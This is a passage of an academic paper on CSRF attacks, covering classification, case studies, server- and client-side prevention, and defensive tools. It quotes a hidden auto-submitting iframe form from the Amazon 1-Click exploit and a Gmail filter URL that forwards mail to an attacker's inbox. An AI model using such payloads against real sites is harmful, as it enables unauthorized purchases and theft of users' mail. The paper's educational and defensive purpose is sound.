    • 3. CSRF Classification Implementation/ parameters Techniques Extracting data Adding or modifying data Intent Compromising Web Site s/ Web Applications reputation Compromising Internet transactions Spam Compromising Router/ Firewall rules Input Source Same Origin attacks Cross Origin Attacks <img>- Tag Logout- link Static CSRF Session riding Token- manipulation Techniques <iframe> - Tag <script>- Tag XMLHttpRequest - Object HTTP Redirect HTTP Redirect Dynamic CSRF HTML- based Token fixation Dynamic CSRF POST- based Dynamic CSRF Compounded CSRF Samy- worm Fast-fluxing SQLIATable 11: Classification of the CSRF attacking vectorLets summarize the issues concerning the attacks intent. Extracting dataLike, described in the SQLIA chapter, the attack can be used for utilizing data extraction from a re-stricted Web Application content. An interesting study concerning this intent will be described fur-ther in the section, concerning the Petko .D Petkovs Gmail- Exploit in 2007. 61
    • 3. CSRF Adding or modifying dataIn the chapter, concerning SQL Injection attacks, we give good illustration of the attacking intents,concerning adding or modifying data intents. To avoid redundancy in the explanation we shall con-sider here explaining only the straight-forward XSRF specific intents. Utilizing CSRF the attackerdo not need to compromise or guess an user account on the Web Application. Moreover, the intruderneeds to exploit the rights of a legally logged user on the Web Software Platform on behalf of thelack of the users knowledge concerning this. This is defined as Session Riding 67 CSRF[49] attack-ing technique. We shall discuss further, more detailed the session riding technique, we shall mentionhere only the fact that, this techniques uses the opened session of the internet user. In case of, thispre-requirement is not fulfilled, the session riding cannot be accomplished, which means that, theactive users session carries out the execution of the CSRF attack. Compromising Web Site s/ Web Applications reputationA representative case illustrating this attacks intent is the Amazon-Exploit 1-Click-Buy exploit pro-posed and utilized by Chris Shiflett[28]. This attack will be also discussed further in this section. Compromising Internet transactionsConcerning this intent, we shall only mention that, nowadays this is rather an impossible task, tocompromise an E-commerce platform on behalf of CSRF, in a way that illegal internet transactioncan be accomplished. There is just one case of online- banking compromising in the whole historyof the attacks evolution. Furthermore, if the attacker intends to buy goods over the internet, he canutilize session riding for sure and consequently accomplish a purchase over the internet, comprom-ising the account rights of the legally logged internet user to the e-commerce Web Application.Though, the goods shipment will refer to the real address of the internet user with the compromisedsession and thus make the intruders attacking intent meaningless in terms of achieving straightfor-ward personal benefits.67 http://palisade.plynt.com/issues/2006Aug/session-riding/ 62
    • 3. CSRF SpamThis intent is clear. The attacker utilizes spam actions on behalf of compromising an active userssession at the moment of the CSRF execution. Consequently this can reflect to restriction of the ac-count of the confused internet user, or banning 68 the Web Site/ Web Application. This Intent can beconsidered as supportive, regarding the evaluation of the Compromising Web Site s/ Web Applica-tions reputation intent. Compromising Router/ Firewall rulesThis is an essential topic. Lets explain it more detailed. Nowadays the usage of routers at home is astandard know-how. The different vendors ship their products, which help the internet user and con-sumer to extend the functionality and structure of the home LAN. The dial-up internet users, be-come experienced internet power surfer, utilizing at their home places more that one PC-Machines,for an instance, which can access the internet using dynamic or port-based NAT. The Routers aresophisticated in their functionality aspects and can represent further DHCP- server, hardware andsoftware Firewalls. The routers are equipped with nice Web GUI 69, which allows the user/ consumerto control the settings of the utilized router hardware interface, while the usability aspects are ful-filled too.Nice story, though the inexperienced users are not aware of the CSRF attack, as some of thevendors of the discussed products too[50]. This a typical example of session riding issue and an im-plementation of Cross-Origin CSRF. The power-user is logged in the Admin-Panel of his Router/Firewall interface, in this time period CSRF is executed and the router belongs in the possession ofthe attacker. Further the intruder can change the admin- password and restrict the confused user atleast temporarily( almost every router has a reset-option) of controlling the router; and as a con-sequence to this the attacker can change/ specify new firewall rules, further install trojan horses onthe machines behind the DMZ, which in many cases do not have sufficient host- security etc. Insome cases, such CSRF attack can cause confusion not only in cases, concerning single person orhome LAN. Example: the router is utilized by working group using the departments backbone.There is a DHCP- Server concerning every machine related to the intranet of this department. The68 http://en.wikipedia.org/wiki/Ban_%28law%2969 http://en.wikipedia.org/wiki/GUI 63
    • 3. CSRFadministrator allows the utilization of such OSI Layer 3 router 70, though with restricted DHCP-functionality. They can operate as DHCP- clients, but are not allowed to interfere the network asDHCP-server. The intruder accomplishes CSRF attack, changes the router settings and prohibits theworking group of further proper intra-/internet access.Further implementation examples concern: phpMyAdmin71, IPCOP72, Webmin73 etc.Now lets explain the Input Source issues, concerning the CSRF classification.Some authors state that the browser is not the only one source for the attack. They specify the fol-lowing user inputs : GET- /POST- input sources, manipulated Cookies, second- order sources likeRSS/Atom- feed readers, Flash animations, Word files etc., see [51]. This is actually a good ap-proach, considering the fact the attack is based on the human ignorance. If the human attention isgained, most probably internet user will pay much more attention on the way they are surfing the in-ternet and on the way to protect themselves in reasonable way, while they are active on the internet.Lets explain the logic behind the CSRF.The Session Riding attack is considered to exist on behalf of compromised active users session atthe time the attack is executed. This means the order of accomplishing the attack is described as fol-lows: 1. the user is logged and have active session still on the Web Application 2. the CSRF code is executed, while the users session is still active or reactivated before the malicious code is enforced, because of the stateless nature of HTTPWhat is the cause that the malicious CSRF code is utilized? The users browser. The browser engineis a parser. This means this interface is implemented to reproduce the output of HTML and otherscript code, so the user can view a Web Content by default. The CSRF attack is based on this parserability of the browser, because the browser engine reads the script- code and tries consequently toreproduce it by default. If the malicious code is valid regarding the script language it is implemen-ted, the browser will proceed reproducing it, because there is no rule policy filtering the code frag-ment, whether it is malicious or not by default. It is a valid code, it reproduces no exception and donot intent to restrict or modify the browser functionality. CSRF attacks are in no way the same asXSS attacks. CSRF attacks do not deploy injections, or implement an active code of any kind. TheCSRF attacks use the standard procedures by default, because events will occur with greater likeli-hood, as: the browser engine will reproduce a valid script code by default. The internet user cannot70 http://en.wikipedia.org/wiki/Router71 http://www.phpmyadmin.net/home_page/index.php72 http://sourceforge.net/apps/trac/ipcop/wiki73 http://www.webmin.com/ 64
    • 3. CSRFdetect events proceeding in background. In most of the approaches, concerning stealing of userrights, the attacker tries to reveal users password, to detect unsanitized input source, concerning theWeb Application and so on. The logic behind the CSRF is: is such effort necessary, as there is a wayto use the already granted rights, concerning legally logged user on the Web Application. Thats whyit is true that, every source allowing implementation of script code can be considered as possible in-put source, concerning the attack. Though if the user do not have an active session on the browser,which is a running process on the operating system of the users machine, this script cannot be suc-cessfully utilised, which categorizes it as a latent threat, see further[52][56]. Lets proceed furtherwith the CSRF classification. Concerning the Input Source aspect, we shall categorize the attacks asfollows: • Same- Origin CSRF attacks • Cross-Origin CSRF attacksThe Same-Origin attacks concern, CSRF exploits on the same Web Platform, the same Web-Server,the same Domain and accordingly the same policy/ policy domain. Interesting case studies concern-ing this subclass of SeaSurfing attacks are: MySpace/Samy- Worm, 2005[L35];Amazon-Exploit,2007[L37] etc.Cross-Origin attacks illustrate the implementation of CSRF malicious code residing on another WebSite, with different policy/ a policy, concerning different domain. Typical attacks are the forum re-lated CSRF attacks. The exploitation CSRF code is placed in a forum message, in a hidden html-Tag for an instance, in a way that the internet user cannot receive a straightforward feedback, con-cerning the existence of this Tag. An interesting examples are: PDP Gmail attack, 2007[L36];Facebook CSRF attack, 2009 [L38].For the reader concerned, please consider to read the paper [53], concerning the HTTP Origin Head-er filtering, regarding proper CSRF defence deployment. Lets proceed with the CSRF discussion, describing the technical implementation aspects of thisWeb 2.0 attacking vector. The following representatives belong to this category in the CSRF classi-fication: • Static CSRF • Dynamic CSRF • Compounded CSRF 65
    • 3. CSRF Static CSRF This CSRF attacks are based on the confused-internet-user pre-requirement, thats why they areconsidered as Static attacks, because they all represent latent threats, waiting to be activated by theignorant internet user. Lets illustrate these on some examples. Multipart/form-data POST, concerning API compromisation Gmail-exploit, PDPThis exploit concerns Cross-Origin CSRF attacks. The compromised Gmail feature is an e-mailsorting function, which Google implemented in an API, concerning the extending of the functional-ity of the Google Mail Web Application. If the user likes to automatically sort mails, the followingrules scenario can be set up: e-mails from sender full-disclosure-request@lists.grok.org.uk can beautomatically redirected to the web folder concerning e-mails storage from the full-disclosure-mailing list. The following CSRF exploit of this API function was used and utilized by Petko D.Petkov as PoC74, which redirected mails from an active users session on Gmail to another Web Do-main, as [L36]:http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multipart/form-data&_action=https%3A//mail.google.com/mail/h/ewt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinbox@mailinator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_attach=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20Filter <iframe>-Tag Amazon-Exploit, Chris ShiflettThis CSRF case study, is another illustration of the CSRF Same-Origin Attack.The SeaSurfing compromises the Amazon feature 1-Click-Buy, 2007. Lets describe the attackingscenario. The internet user logs into the Amazon e-commerce platform. At the right side of the inter-net shop there is a 1-Click-Button, so the user can just click it and buy the good, which in normal74 Proof-of-Concept 66
    • 3. CSRFcase should be delivered to the appropriate personal address. The clue is, the 1-Click-Button pur-chasing scenario, should utilize time and effort saving way to buy more user-friendly on the Web e-commerce platform, without typing/ specifying every time explicit: the good number, the paymentmethod, the personal address etc.The software implementation of this is based on HTTP-POST-Request, which is not hardened bythe Amazon developers against CSRF exploits at that time. The implementation code, as [L37]:<iframe style="width: 0px; height: 0px; visibility: hidden" name="hidden"></iframe><form name="csrf" action="http://amazon.com/gp/product/handle-buy-box" method="post"target="hidden"><input type="hidden" name="ASIN" value="059600656X" /><input type="hidden" name="offerListingID" value="XYPvvbir%2FyHMyphE%2Fy0hKK%2BNt%2FB7%2FlRTFpIRPQG28BSrQ98hAsPyhlIn75S3jksXb3bdE%2FfgEoOZN0Wyy5qYrwEFzXBuOgqf" /></form><script>document.csrf.submit();</script>A hidden <iframe> is defined as a zero pixel(width/height) element, consequently the input formuses POST- Method to send the result to this hidden <iframe>-element. As shown in the example :the form is hidden, both of its input fields and the <iframe>-Tag are also defined as hidden type.The <script> - Tag is utilized, although the customer is totally unaware of the POST-action formexecution. Tokens Manipulation Hacking CSRF Tokens using CSS History HackThis attack considers the compromising of Anti-CSRF token defensive technique, please considerfurther reading to the next section, concerning more information on the CSRF detection and preven-tion trends and approaches. The attack is moreover an idealized PoC, which demonstrates thatsimple 5-character tokens can be compromised on behalf of exploiting the CSS history of the Webbrowser. The complete attacks source can be found as it is in the Appendix B.2 of this paper.Though particular testing of the attack established for this paper, considered the attack inefficient,regarding time-execution and performance reducing aspects of the host machine, the attack is de-ployed on.This attack demonstrates the following issues: 67
    • 3. CSRF • in an active session, anti-csrf token of such type can be detected • if the browsers cache and history are not regularly cleaned, such tokens can reside even after the session is closed, revealing them, could help the attacker to understand their con- struct and the next time successfully compromise the Web Application, the tokens are re- lated toThough this idealized PoC can be stopped easily on the clients side, please refer to the next section.For more information on Anti-CSRF token concept, please refer to [49].Another example, concerning the Cross-Origin CSRF attack, will be demonstrated in the next andlast case study, illustrated in this paper. <img>-Tag, concerning compromised API Facebook CSRF attackThe attack utilizes a redirect exploit, caused by Facebook CSRF prone API implementation: Auto-matic Authentication.Lets summarize the cause for this exploit: 1. Facebook users do not concern to use users stronger privacy settings, like protecting users ID etc. 2. Facebook utilizes Web Application APIs, which should improve the usability, although they are not completely tested against current Web 2.0 AttacksLets explain the APIs compromising scenario.The attack utilizes simple redirect from one page to another within the same Web Application, Face-book. A requirement is- the user has an active session on Facebook in the time of the attack. If theuser tries to proceed with other internet surfing activities, while logged to Facebook, lets assumethe user opens another tab in the active browser 75, for an instance Mozilla Firefox, there is a chance,that the user can reach a page, which contains CSRF exploit such as a hidden <iframe>-Tag or an<img>-Tag, both ways are working. Implementation of this is considered, as proposed in this ex-ample, like searching a favourite topic in an internet forum. Further the users browser reproducesthe CSRF hidden code, as already explained, lets say, the malicious <img>-Tag, which thebrowser-engine tries to show as an output. The HTTP-redirection code sample between the75 This means that the process is the same and all temporal data, concerning the internet activity of the user, is related to all open tabs of the browser interface 68
    • 3. CSRF<img></img>-Tags, redirects to the attakers server, or better just to a different server from theFacebook domain, for an instance- a server, which offers public web- service, as an example file-uploading service. The attacks scenario proceeds, following the two steps in the given order: 1. the browser is forced to reproduce the redirection routine: http://apps.facebook.com/hacker-app/step1.php, 2. the browser is forced another time to reproduce the redirection routine: http://apps.facebook.com/hacker-app/step2.phpHow the Facebook Web Application interprets these two steps. Concerning Step1:The Facebook application detects the redirection, caused by an URL different than the Facebookown one and it filters the request out, which is a proper execution. Though step1.php is a PHP-im-plementation, which redirects further to step2.php. Note this is the important clue of the attack. Theredirection routines from step1.php to step2.php trick the Facebook application, that this time theredirection is originated by a domain, which have the same policy as the Facebook Web API re-quires, e.g. from the Facebook own domain. This activates the Automatic Authentication FacebookAPI to execute and send the users personal information among the request, concerning step1.php tostep2.php redirection. Thus the users personal data is revealed to the intruder.The next Figure 4 illustrates the middleman- function of the Facebook Application. 69
    • 3. CSRF Figure 4: A Facebook application architecture vs. a normal web sever, [L38]It is obvious that the API is working like a common Web- site, or Web- Proxy, which is exploited bythe intruder. The graphical illustration of the discussed attacking scenario is explained on behalf ofthe next Figure 5. Regarding full disclosure of this CSRF attack the reader can refer to [L38].Further examples on CSRF attacks can be found at ( page 505, [28]) [54] [55] [56]]. 70
    • 3. CSRF Figure 5: Facebook CSRF, the anatomy of the full fledged attack, [L38]To complete the CSRF attacking techniques implementations we shall mention briefly the DynamicCSRF attacks and the Compounded SeaSurfing representatives. Dynamic CSRFAs already mentioned the CSRF attack requires the utilization of the confused deputy – user for 71
    • 3. CSRFsuccessful deployment of the attacking scenario. Though, nowadays examples exist that the attackcan be automated as well, in such way that the human aspect, will no longer be of concern. This ap -proach utilizes most of the techniques, considered by the Static CSRF, more important, the attackerconcentrates on compromising the secret Anti-CSRF-token, which is one of the essential Best Prac-tices Approaches, considering hardening against CSRF attacks. Please, proceed further in the nextsection for more information, regarding CSRF prevention techniques.The reader concerned, will find more information regarding Dynamic CSRF attacks in [57][L39]. Compounded CSRFAs described in the chapter, concerning the SQL Injection attacking vector, there are combinationsof Web attacks, which are worthwhile to be discussed in a separate part of the paper. Fast-Fluxing SQLIAThis attack was described in the former chapter and will not be discussed again, the reader can referto chapter 2, sub-section 2.2.2. Samy-WormThe attack represents Same-Origin CSRF attack.Some researchers consider the attack as a pure XSS- form of Web attack. Though, this is not true.The attack represent XSS- JavaScript malicious exploit [L35] as well, though it is deployed on be-half of an active user session, which is an important pre-requirement for the attacks execution. XSSattacks are not explicit based on active users session, they represent rather another technical imple-mentation, concerning the group of the Web Injection attacks beside the prior described SQL Injec-tion and the XPATH Injection 76. The attack cannot be considered as pure CSRF, because of the util-ized injection method, supporting the attacks scenario.The reader concerned, can find more information on the compounded implementation of CSRF andXSS in [58], concerning the utilization of Cross-Site Scripting to bypass CSRF protection.76 http://projects.webappsec.org/XPath-Injection 72
    • 3. CSRF3.3. CSRF prevention trends and methods Concerning the CSRF specification, we shall consider two general approaches in the CSRF de-tection and prevention trends, applying to the Server-side protection methods utilization and Client-side prevention techniques. In both approaches, we shall describe, which are the automated methods, if any, and further de-scribing the Best Practices.3.3.1 Server-Side protection To implement CSRF automated protection is not a simple task. To filter valid scripting code, asalready discussed, is the same as to consider unambiguous rules determining, which valid code istaint and which valid scripting code is good. Further there is the need of creating abstract modelsand patterns, which will be decisive requirements, concerning the proper code sanitization imple-mentation. Crawler/ Scanner There are links crawler implementations, concerning this topic, which can demonstrate possiblesecurity leaks, which can support the developers to harden the Web Application code as described in[59]. Though if the application code is already CSRF prone, or already CSRF infected, like in theexample illustrating CSRF compromised internet forums, sanitizing the code, could be in somecases considered as impossible. Best Practices There are Best Practices suggestions like in [49] and [53] proposed. Thomas Schreibers, see [49], suggestion, concerning the developing process of proper Web Ap-plication code, is still one of the most reasonable implementation Best Practices techniques.Schreiber suggests, that the developer must consider to implement Anti-CSRF tokens, referring toevery input field, every form and every dynamically produced new element, considering the WebApplication. In some cases this could not be a simple task and especially, if there are parts of theWeb Application, which are already implemented. Though, the suggested Best Practices approach is 73
    • 3. CSRFvery reasonable. There are questions, which are still open, related to this approach. How such secur-ity tokens must be generated? If there are standard hashing algorithms, considering the tokens im-plementation, the token cannot be considered as not CSRF prone. The best known approach is toutilize randomization, concerning the tokens generation. Please, refer further on the topic of Anti--CSRF-token generation and randomisation at [L47][L48][L49]. In [53] , Barth et al. discuss prevention Best Practices and suggest HTTP Origin header filtering.This approach is also reasonable, still cannot be considered as not CSRF prone, see Facebook CSRFattack example. Utilization of CAPTCHASRestricting spam in forum postings, could prevent against automated implementation of CSRF ma-licious code. Those such technique cannot be considered as effective. Concerning this topic, thereare other Anti- CSRF techniques, which could be applied for hardening the exploitation ofCAPTCHAs compounded with SQL wildcards compromising, see [L45]. Anti CSRF Cheat sheetsThere are good examples like those one concerning SQLIA, considering proper security coding at aglance, see [60]. Though, Web Application developers must keep in mind, that randomisation of theAnti-CSRF-token should be considered as more secure than hashing the token. The Question: howto compare the generated tokens with the session-token in an appropriate way, is still not clear formany Web application developers and sadly, in most cases ignored, or inappropriate implement byjust comparing both of the token by value[L47][L49]. Another important issue is the proper config-uration of the development and productivity environment, concerning the Web-Application. Theproductivity environment requires greater hardening, which should be taken in consideration whilemigrating the Web-Application[L50][L51]. A very good demonstration, concerning these aspects,could be achieved by utilising the CSRF development tools as OWASP WebGoat, or Metasploit.3.3.2 Client- Side protectionConsidering Client-side protection, there are tools implementations, concerning the detection andprevention methods against compromising of implicit authentication on behalf of filtering and sanit- 74
    • 3. CSRFization of suspicious requests and prohibiting users authentication information to be exposed andexploited in such manner. Please, consider to read further at [61]. Best PracticesThere are suggestions for Best Practices concerning CSRF Client- Side protection, though it is a dif-ficult task to deploy client- side protection against attack, which is already implemented latent andexisting in the source code of the Web Application, because of the fact that the internet user is hu-man and considered as ignorant, regarding the implementation of security techniques, which can actrestrictive, concerning the usability and freedom related aspects of the internet activity.Lets summarize some of them.One-browser-one-session is perhaps a reasonable approach. The user must consider to control hisinternet activity and to avoid the unnecessary usage of tabbed browsing. Such suggestion can berather considered as not effective, because this could be easily ignored by the common internet user.Furthermore the user will consider to wipe temporal data after his internet activity.Perhaps an interesting suggestion, concerning this topic is the implementation of automatically gen-erated browser internet activity profiles, like: secured surfing, business surfing profile and every-day surfing profile. For example, concerning Mozilla Family browser, there is an option to start thebrowser engine as a totally separate process, using the option:--no-remoteThus the already proposed profiles can be consumed from browser-engines started as separatedprocesses, which do not share the internet temporal content during the users surfing activity. If thedifferent profiles are hardened appropriate, there is a chance that the user can use a browser instancefor everyday surfing and another for secured browser, one beside another, without both of them toshare objects, cookies or sessions. The browser can be installed on the users operating system, withthe suggested browser profiles pre-installed and already configured. Though there is a drawback inthis approach. If the user can mistake the utilisation of the different profiles, this approach cannot beconsidered as effective.There should be a good visual GUI warning, concerning the proper browser-profiles utilisation,which should remind effectively the user not to act as confused deputy. See further the represented 75
    • 3. CSRFMozilla Firefox plug-ins: WOT, Crawler toolbar and Google Safe Browsing. It is worthwhile, suchprofiles separation to be implemented in a project, so the results can be evaluated in the practice77.Another approach, concerning this topic is the utilization of security browser plug-ins, in case ofMozilla family browsers. Some of this plug-ins will be discussed in the next section.3.4. CSRF toolsIn this section we shall describe some of the most important tools concerning the CSRF attacks. Thesection is organized like the SQLIA tools section.3.4.1. Developer toolsOWASP WebGoat can be considered as interesting tool for software developers, concerning testingand knowledge extending, considering this CSRF attacks.As not mentioned, the tool represents a J2EE implementation and preconfigured Apache Tomcat 5.5server. Furthermore, the tool is distributed in two versions: standard and developer.The Developer version includes the standard version with a preconfigured Eclipse IDE78.Tools demonstration: http://yehg.net/lab/pr0js/training/webgoat.php http://www.youtube.com/watch?v=aOcgiTaujQE3.4.2. Auditing toolsRepresentatives related to this topics are, as follows.3.4.2.1. Server-Side implementationsNTOSpiderhttp://www.ntobjectives.com/ntospiderIBM AppScanhttp://www-01.ibm.com/software/de/rational/appscan/index.htmlTools demonstration: http://www.youtube.com/watch?v=SCCq81QRSCM77 The author of the paper is aware of the fact that Avant Browser has already implemented profile separation;http://www.avantbrowser.com/78 http://www.eclipse.org/ 76
    • 3. CSRFHP WebInspecthttps://h10078.www1.hp.com/cda/hpms/display/main/hpms_content.jsp?zn=bto&cp=1-11-201-200^9570_4000_100Tools demonstration: http://www.youtube.com/watch?v=a-XpeUqF-TwPlease, consider to mute the video supporting sound.As already mentioned in the chapter 2, the tools represent proprietary implementations, concerningthe topic.More detailed information and tools comparison, the reader concerned can find at [59].3.4.2.2. Client-Side implementationsOWASP WebScarab Projecthttp://www.owasp.org/index.php/Category:OWASP_WebScarab_ProjectTools demonstration: http://www.securitytube.net/OWASP-WebScarab-NG-video.aspxA Java GUI-based CSRF checker implementation. The tool represents a framework, which could beconsidered as platform independent. The WebScarab has support for HTTP and HTTPS as well.OWASP CSRFTester Projecthttp://code.google.com/p/owaspcsrftester/Another representative of the pen-tester79 CSRF tools written in Java. The developer/ tester is freeto observe the open source of the tool.A client-side tool implementation, concerning Dynamic CSRF attacks isMonkeyFisthttp://hexsec.com/misc/monkeyfistThe implementation of MonkeyFist is written in python and represent a Web server tool, with twogeneral features: • capturing/ listening of DCSRF • deploying DCSRF per-request/ on demanUtilising MonkeyFist a PoC of DCSRF is achieved against NewsWeek.79 http://en.wikipedia.org/wiki/Penetration_test 77
    • 3. CSRFPlease, consider to check-up the speaking engagements list of the tools developers:http://hexsec.com/speakingMore information, regarding this tool can be obtained at [L39].3.4.3. Prevention Tools3.4.3.1. Server-Side toolsThe Server- Side tools, concerning the already discussed Auditing tools, can be considered as sup-portive for the software developers of Web Applications.OWASP CSRFGuard Projecthttp://www.owasp.org/index.php/Category:OWASP_CSRFGuard_ProjectA reasonable Java-implementation of the Anti-CSRF-token defensive technique, considering propertoken generation and randomisation. Could be considered as very interesting tool for hardening thedevelopment code of high-sensitive Web-Applications, as Online-Banking Applications, differentOnline Financial Services etc.3.4.3.2. Client-Side toolsRequestRodeo is a tool concerning request filtering as already mentioned in the CSRF PreventionTechniques section, see further [61].Mozilla Family plug-insCSRFblockerhttp://hexsec.com/labsThe tool represents a Mozilla Firefox plug-in implementation from the MonkeyFist developers,concerning the CSRF client-side defence. CSRFblocker is in development, the MonkeyFists teamstates, the tool can mitigate CSRF attacks in some cases. 78
    • 3. CSRFWOT( World of Trust)https://addons.mozilla.org/de/firefox/addon/3456A very good implementation, concerning usability aspects, the visualisation of the warnings isstraight-forward and clear, the user do not need to explicit search a hidden notification symbol onthe browsers GUI to assert, whether there is a notification for site-vulnerability.A good comparative to this tool, could be the build-in google site protection. An interesting furtherapproach is to compare both tools regarding the following aspects: redundancy, false positives, site-filtering.McAfee Siteadvisorhttp://www.siteadvisor.com/One of the firstly implemented site-ranking tools, could be considered as very reliable. Gives de-tailed information regarding the following aspects: worms, malware issues, pop-ups, phishing is-sues, spam, vulnerable site downloads in general, vulnerable site links.LinkExtendhttps://addons.mozilla.org/en-US/firefox/addon/10777/This tool combines the site-ranking feedback from: WOT, McAfee Siteadvisor, Google Safe Brows-ing, Web Security Guard, Browser Defender, Norton Safe Web etc.ZoneAlarm toolbars Site Checkhttp://www.zonealarm.com/security/en-gb/free-upgrade-security-suite-zonealarm-firewall.htmShould represent an anti-phishing implementation for browsers.This tool is a part of the free ZoneAlarm firewall implementation.Crawler toolbarhttp://www.crawler.com/products/toolbar.aspx 79
    • 3. CSRFAlso very nice GUI protection, a good representative in the comparison tools: WOT, Google SiteProtection, Crawler toolbar.Works on both Internet Explorer and Mozilla Firefox, though only on Windows based OSes.Internet Explorer plug-insAll of the listed Mozilla plug-ins are available under Windows based OSes for Internet Explorertoo.Spybot S&D Internet Explorer BHOhttp://www.safer-networking.org/en/index.htmlA very important browser helper object, the security settings are applied passive, which demandsapplication upfdate of the Spybot S&D main program, thus the appropriate browser hardening canbe applied.Mozilla Family plug-ins( more)Stealtherhttps://addons.mozilla.org/de/firefox/addon/1306A user-friendly on-access privacy tool. Though there is a little drawback- the user must stop theplug-in to achieve proper utilisation of Web-applications, requiring session cookies like eBay etc.Clear Private Data … +( CPD)https://addons.mozilla.org/de/firefox/addon/1280Both of the tools can utilise: to clear temporal data, like- cookies, .htpasswd passwords, formentries, browser history etc.CPD works on demand, which makes it for power users very suitable.NoScripthttps://addons.mozilla.org/de/firefox/addon/722 80
    • 3. CSRFThis very important tool concerns Anti-XSS protection and scripting protection in general. TheJeremiah Grossmans CSRF CSS script was successfully stopped utilizing NoScript.The tool can be considered as very effective, though there are issues with the usability aspects.NoScript is a must have for power users and IT- professionals.Furthermore, NoScript has build-in Frames protection, which can filter out <iframe>- CSRF attacksand Clickjacking80 prevention. The user can utilise filtering on Regular Expressions as well.RequestPolicyhttps://addons.mozilla.org/de/firefox/addon/9727This tool is a browser plug-in, considering HTTP Redirection protection. Utilizing this tool the au-thor of the paper achieved to stop tinyurl-redirection to malicious site, proposed in the JeremiahGrossmanns CSRF CSS token blog.Again, this tool can not be consider as user-friendly, though very important and useful for powerusers. Another important feature of RequestPolicy is the Sites Origin Policy filtering, this filters outby default images form different Origin, linked on a particular page, which could stop Cross-OriginXSRF attacks. The author of the paper must consider furhter investigation on this topic.The combination of both tools increases the browser hardening indeed, though on behalf of theuser-friendly aspect- the user must specify manually explicit every single website/ webapplicationas safe in the rules lists of both of the tools for achieving proper webapplication utilisation, if thisapplication is not predefined out-of-the-box in NoScript and RequestPolicy.Both of the tools are not working still on Internet Explorer, Google Chrome and Opera browsers.Distinguished browsers considering proper tools utilisation of NoScript and RequestPolicy: Moz-illa Firefox, SeaMonkey Project, Mobile.Possible drawbacks, concerning NoScript and RequestPolicy: • user-maintenance of the rules list • what if a safety- site is later on compromised, if already considered in NoScripts, or Re- questPolicys list as a good one? • what if a browser plug-in in general, considered as good preventive tool, is compromised and can be considered further as a backdoor?80 http://de.wikipedia.org/wiki/Clickjacking 81
    • 4. Final discussion and future work4. Final discussion and future work The described Web 2.0 attacking vectors in this paper consider good choice, concerning adequatedescription of the problems and security issues, related to the Web 2.0 standard. The SQL Injection class of web attacks is an excellent representative, introducing the technicalevaluation and sophisticated evolution of the Web attacking vectors. The CSRF attacks are also very important, because they illustrate security issues, which couldnot be considered to have unambiguous approaches, concerning their detection and prevention. Beside the very good suggestions proposed by security experts related to the topics of Web Ap-plication Security, an interesting approach could be proposed as a front-end to the existing securitytools. The front end can be described as follows. The tool can offer an enviromnent, where the se-curity code developer can specify the working scenario of the Web Application, specify the con-struct of the Web Application and additional issues, concerning its functionality, using descriptivelanguage. The output of this front-end can be used as feedback for the existing auditing tools,known to work effectively. If this scenario feedback can help the tools to give more precise resultsand work in optimized manner concerning time and performance aspects, this could provide inter-esting start for future work, concerning the Web Application Security. 83
    • 5. Conclusion5. ConclusionClassifications, concerning SQL Injection and CSRF attacking vectors, are proposed in the paper.Examples, illustrating the complexity of the attacks deployment, are represented in detail. Toolsand Best Practices methods, consider the completeness of the attacks description. Thus the object-ives proposed in this paper to introduce and discuss new Web 2.0 attacks are fulfilled. 85
    • A Appendix: References and abbreviationsA Appendix: References and abbreviationsA.1. References List of links: [L1] Heiko Brandsch, Felix Kolb, Anne Arndt, Web 2.0 - Der Film http://de.sevenload.com/videos/nJE9sqq-Web-2-0-Der-Film, 2008 (German) [L2] Web 2.0, http://de.wikipedia.org/wiki/Web_2.0 [L3] Lars Messmer. HTML5 / CSS3, http://www.slideshare.net/Larz73/html5-css3 [L4] XIOM.com, The Web Application Firewalls Information Center, http://www.xiom.com/ [L5] WHID, the Web Application Security Consortium project, http://projects.webappsec.org/Web-Hacking-Incident-Database [L6] Knowledge management, http://en.wikipedia.org/wiki/Knowledge_management [L7] WHID 2007-60: The blog of a Cambridge University security team hacked, http://www.xiom.com/whid-2007-60 [L8] WHID 2009-1: Gaza conflict cyber war, http://www.xiom.com/content/whid-2009-1-gaza-conflict-cyber-war [L9] List of Web Hacking Incidents: DNS Hijacking, http://www.xiom.com/whid-list/DNS%20Hijacking [L10] Wikipedia: Database download, http://wapedia.mobi/en/Wikipedia:Database_download [L11] Facebook, Hadoop, and Hive, http://www.dbms2.com/2009/05/11/facebook-hadoop-and-hive/ [L12] Mozilla Firefox 3 History File Format, http://www.forensicswiki.org/wiki/Mozilla_Firefox_3_History_File_Format [L13] eBays Massive Oracle Database, http://www.dba-oracle.com/oracle_news/news_ebay_massive_oracle.htm I
    • A Appendix: References and abbreviations[L14] Amazon Relational Database Service (Amazon RDS), http://aws.amazon.com/rds/[L15] Bigtable: A Distributed Storage System for Structured Data, http://labs.google.com/papers/bigtable.html[L16] Alexander Kornbrust, Implementierung einer Honey table in Oracle mit Hilfe von VPD, http://www.red-database-security.com/scripts/honeytable.sql[L17] WASC Threat Classification to OWASP Top Ten RC1 Mapping, http://jeremiahgrossman.blogspot.com/2010/01/ wasc-threat-classification-to-owasp-top.html[L18] Cloud Computing - IaaS, PaaS, SaaS & Co - Begriffe verstehen ( german), http://www.codefest.at/post/2009/12/09/1-Cloud-Computing-IaaS-PaaS-SaaS-Co- Begriffe-verstehen.aspx[L19] MySQL, http://www.mysql.com/[L20] MSSQL, Microsoft SQL Server, http://www.microsoft.com/sqlserver/2008/en/us/default.aspx?pf=true[L21] Oracle, http://www.oracle.com/index.html[L22] PostgreSQL, http://www.postgresql.org/[L23] Third Wave of Web Attacks Not the Last , http://www.darkreading.com/security/management/showArticle.jhtml? articleID=211201482[L24] Positive Technologies, http://www.ptsecurity.com/[L25] BSQL Hacker , http://labs.portcullis.co.uk/application/bsql-hacker/[L26] Deep Blind SQL Injection Whitepaper , http://www.securityfocus.com/archive/107/495648/30/330/threaded[L27] SQL Injection Cheat Sheet, http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/[L28] ORACLE SQL Injection Cheat Sheet, http://ferruh.mavituna.com/oracle-sql-injection-cheat-sheet-oku/[L29] SQL Injection cheat sheet , Esp: for filter evasion, http://ha.ckers.org/sqlinjection/ II
